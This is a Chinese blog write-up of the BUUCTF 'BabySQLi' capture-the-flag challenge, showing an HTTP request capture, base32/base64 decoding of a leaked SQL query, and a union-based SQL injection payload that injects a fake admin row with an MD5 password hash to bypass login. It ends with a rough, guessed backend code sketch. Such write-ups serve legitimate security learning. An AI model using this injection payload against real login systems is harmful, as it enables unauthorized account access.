

# buuctf BabySQLi

原创

行于其野 于 2021-01-02 15:36:27 发布 420 收藏 4

分类专栏: [wp](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_44111753/article/details/112097374](https://blog.csdn.net/qq_44111753/article/details/112097374)

版权



[wp 专栏收录该内容](#)

26 篇文章 0 订阅

订阅专栏

随便输入, 发现一串密文, 数字+大写字母, 大概是采用base32加密

```
Request
1 POST /search.php HTTP/1.1
2 Host: 7e7c3f61-8df2-4c97-b353-8f20f6b7f950.node3.buuoj.cn
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 17
9 Origin: http://7e7c3f61-8df2-4c97-b353-8f20f6b7f950.node3.buuoj.cn
10 Connection: close
11 Referer: http://7e7c3f61-8df2-4c97-b353-8f20f6b7f950.node3.buuoj.cn/
12 Upgrade-Insecure-Requests: 1
13
14 name=admin&pw=123

Response
1 HTTP/1.1 200 OK
2 Server: openresty
3 Date: Sat, 02 Jan 2021 06:59:52 GMT
4 Content-Type: text/html
5 Content-Length: 226
6 Connection: close
7 Vary: Accept-Encoding
8 X-Powered-By: PHP/5.3.29
9
10 <!-- H8FHMZ2K5H0ASNDSTVUSK0ZRFQRRMMZFM6KJJB5G6WSYJ1JWESSCWPJNFQSTVLF LTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5 -->
11 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
12 <title>
13 Do you know who am I?
14 </title>
15
16 wrong pass!
```

base32解密如下, 有“=”, 猜测是base64加密

MMZFM422K5HDASKDN5TVU3SKOZRFQRRMMZFM6KJJB5G6WSYJ1JWESSCWPJNFQSTVLF LTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

编码 解码 清空

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJlID0gJyRuYW11Jw==

[https://blog.csdn.net/qq\\_44111753](https://blog.csdn.net/qq_44111753)

base64解密如下

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJlID0gJyRuYW11Jw==

[清空](#)[加密](#)[解密](#) 解密结果以16进制显示

```
select * from user where username = '$name'
```

[https://blog.csdn.net/qq\\_44111753](https://blog.csdn.net/qq_44111753)

查询后台数据库username等于输入值得所有数据

后台数据库的登录逻辑大概是：将输入的用户名与后台数据库中的所有用户名做比较，找出相等的，然后用这组数据的密码与用户输入的密码作比较，若相等，则登录成功

重点：放置于后台的数据库大概率是经过hash加密的

操作：在用户名框注入

1' union select 'admin',加密后的密码

为了使登录成功，注入时的union查询中的密码应该为密码框输入的加密，将'password'md5加密（为什么是MD5题目也没有提示，大概是MD5比较常用吧）

构造payload

用户名：1' union select 'admin','5f4dcc3b5aa765d61d8327deb882cf99' #

密码：password

## Error: The used SELECT statements have a different number of columns

union查询列与后台sql查询不匹配，更改用户名处的payload

1' union select 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99' # 得到flag

据大佬推测后台数据库的代码为：

```
$data = select * from users where username=$name.  
if ($data['username'] === 'admin') {  
  if ($data['password'] === md5($pw)) {  
    return true;  
  }  
}
```